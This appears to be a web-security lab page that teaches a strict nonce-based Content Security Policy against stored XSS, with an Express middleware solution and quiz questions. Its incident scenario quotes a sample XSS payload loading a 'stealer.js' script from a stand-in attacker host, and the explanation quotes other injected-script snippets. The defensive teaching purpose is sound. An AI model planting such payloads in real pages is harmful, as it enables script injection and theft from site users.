Content Security Policy (CSP) Hardening Lab: Eliminating XSS via Nonces, Hashes, and Directive Scoping
Design a strict, zero-trust Content Security Policy that eliminates stored Cross-Site Scripting (XSS) while permitting legitimate third-party analytics and single-page application hydration.
1. Production Scenario & Incident
A legacy web portal was breached when an attacker injected a stored XSS payload `<script src="https://evil-cdn.xyz/stealer.js"></script>` into user comments. The development team rushed out a weak policy: `default-src * 'unsafe-inline' 'unsafe-eval'`. The security auditor immediately flagged this policy as completely ineffective. You are tasked with replacing this broken policy with a modern CSP Level 3 policy utilizing cryptographic nonces, strict fallbacks, and clickjacking protection.
2. Architectural Background & RFC Standards
Content Security Policy (CSP Level 3) is an HTTP response header that restricts which scripts, styles, images, and frames the browser is allowed to execute or load. It is the web platform's primary mitigation against Cross-Site Scripting (XSS) and data exfiltration.
- Directive Hierarchy: `default-src` serves as the fallback for fetch directives (`script-src`, `style-src`, `connect-src`, `img-src`, `font-src`).
- Cryptographic Nonces: A cryptographically random, single-use token (`nonce-randomBase64`) generated on every HTTP request and attached to `<script nonce="...">`.
- Cryptographic Hashes: `'sha256-hash'` allows specific inline script blocks to run if their exact text matches the digest.
- Strict CSP (CSP Level 3): Combining `'strict-dynamic'` with a nonce allows trusted scripts to dynamically load secondary scripts without requiring domain whitelists.
3. Hands-On Lab Instructions
Test the weak policy `default-src * 'unsafe-inline'` against the simulated malicious script payload.
Remove `'unsafe-inline'` and observe how the browser security engine blocks untrusted inline execution.
Generate a cryptographically secure 128-bit random nonce in server middleware.
Attach the nonce to legitimate inline application scripts and include `'nonce-{RANDOM}'` in the `script-src` directive.
Add `frame-ancestors 'none'` to permanently prevent clickjacking and framing attacks.
4. Interactive Lab Workbench
Craft CSP directives and simulate browser policy enforcement against inline scripts, eval(), external CDN injections, and clickjacking.
Safe script executes; Malicious external script blocked by CSP: violates script-src 'nonce-rAnd0m123' directive.
5. Diagnostic Comprehension Questions
Why does using domain whitelists (e.g., script-src https://cdnjs.cloudflare.com) in CSP often fail to prevent XSS?
Reveal Answer & Explanation →
✓ Correct Answer: Attackers can locate vulnerable JSONP endpoints, Angular libraries, or host their own files on shared CDNs to bypass the whitelist.
Research by Google security teams demonstrated that over 95% of domain-based CSPs are trivially bypassable because popular public CDNs host outdated libraries or JSONP endpoints that can be chained to execute arbitrary code.
Which CSP directive should replace the deprecated "X-Frame-Options: DENY" header to stop clickjacking?
Reveal Answer & Explanation →
✓ Correct Answer: frame-ancestors 'none'
While `frame-src` controls what frames your page can EMBED, `frame-ancestors` controls who can EMBED YOUR PAGE. Setting `frame-ancestors 'none'` completely blocks your site from being framed, obsoleting legacy X-Frame-Options headers.
6. Progressive Diagnostic Hints
💡 Hint #1▼
💡 Hint #2▼
💡 Hint #3▼
7. Verified Production Solution
Implement a strict CSP Level 3 policy using per-request nonces, strict-dynamic, object-src none, base-uri none, and frame-ancestors none.
// Node.js Express Middleware with Strict CSP Level 3
import crypto from 'node:crypto';
export function strictCspMiddleware(req, res, next) {
// 1. Generate unique 128-bit cryptographic nonce per request
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.cspNonce = nonce;
// 2. Strict CSP Level 3 Policy
const policy = [
"default-src 'self'",
// 'strict-dynamic' allows trusted scripts to load dependencies
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic' https: 'unsafe-inline'`,
"style-src 'self' 'unsafe-inline'", // Restrict styles
"img-src 'self' data: https:",
"font-src 'self' data:",
"object-src 'none'", // Block legacy plugins/ActiveX
"base-uri 'none'", // Prevent <base> tag hijacking
"frame-ancestors 'none'", // Modern replacement for X-Frame-Options: DENY
"form-action 'self'", // Prevent form submission hijacking
"upgrade-insecure-requests"
].join('; ');
res.setHeader('Content-Security-Policy', policy);
next();
}- ✓1. Generate a 16-byte cryptographically secure random token (`crypto.randomBytes(16).toString("base64")`) on every request.
- ✓2. Inject the nonce into the `Content-Security-Policy` header: `script-src 'nonce-{TOKEN}' 'strict-dynamic'`.
- ✓3. Pass the nonce to your template engine or Astro layout, rendering `<script nonce="{nonce}">` on valid scripts.
- ✓4. Set `object-src 'none'` to shut down object/embed/applet vectors.
- ✓5. Set `base-uri 'none'` to prevent attackers from altering relative URL resolution with injected `<base>` tags.
- ✓6. Set `frame-ancestors 'none'` to defeat clickjacking attacks across all modern browsers.
8. In-Depth Technical Explanation
"If an HTML document executes under a strict CSP prohibiting unsafe-inline, any injected script element lacking the server-generated per-request cryptographic nonce is rejected by the browser JavaScript runtime before compilation; the deterministic result is a browser CSP violation event and zero script execution."
Underlying Root Cause Analysis
Cross-Site Scripting occurs when untrusted user input is rendered into the browser DOM as executable code. Traditional sanitization often fails due to complex HTML parsing bugs. CSP operates at the browser execution engine layer: even if an attacker successfully injects `<script src="evil.com">` or `<img onerror="...">` into the DOM, the browser checks the CSP policy before executing the bytecode. If the element lacks the valid cryptographic nonce or hash, execution is halted immediately.
Production Engineering Best Practices
- →Start with `Content-Security-Policy-Report-Only` and a reporting URI to test policies against real traffic before enforcing them.
- →Always include `base-uri 'none'` or `base-uri 'self'` to neutralize `<base href>` manipulation attacks.
- →Adopt the Strict CSP model (`'strict-dynamic'`) rather than maintaining lengthy, fragile domain whitelists.
Common Pitfalls to Avoid
- ✕Adding `'unsafe-inline'` without a nonce, which negates 99% of CSP XSS protection.
- ✕Reusing a static hardcoded nonce across multiple requests, allowing attackers to simply copy the nonce into their payloads.
- ✕Forgetting that `default-src` does not govern `frame-ancestors` or `base-uri` (they require explicit declaration).
Ecossistema Técnico Relacionado e Próximos Passos
Artigos Técnicos Relacionados
Perguntas Relacionadas
Especificações e Referências para Desenvolvedores
Continuar Aprendendo
Content Security Policy (CSP) Hands-On Lab
Step into the interactive lab to defend a vulnerable DOM application with strict CSP nonces.